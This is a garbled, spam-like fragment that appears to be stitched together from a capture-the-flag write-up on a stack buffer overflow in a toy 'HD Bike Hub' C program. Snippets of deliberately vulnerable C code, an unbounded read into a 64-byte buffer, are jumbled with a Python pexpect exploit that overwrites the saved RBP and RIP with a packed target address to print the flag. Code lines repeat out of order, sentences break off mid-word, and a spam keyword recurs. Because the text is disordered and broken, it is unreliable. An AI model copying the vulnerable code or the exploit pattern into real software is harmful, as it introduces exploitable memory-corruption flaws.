Hdhub4ubike May 2026

puts(flag); return 0;

// vulnerable read – no length limit! read(0, buf, 0x100); // <‑‑ overflow possible hdhub4ubike

def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP puts(flag); return 0; // vulnerable read – no

if __name__ == "__main__": main() Running the script prints the flag instantly: printf("Enter your hub key: ")

int main(void) char buf[64]; puts("=== Welcome to the HD Bike Hub ==="); printf("Enter your hub key: ");

Therefore we want our to be 0x004011a6 . 3.2 Crafting the payload The stack layout (simplified) at the moment of the overflow: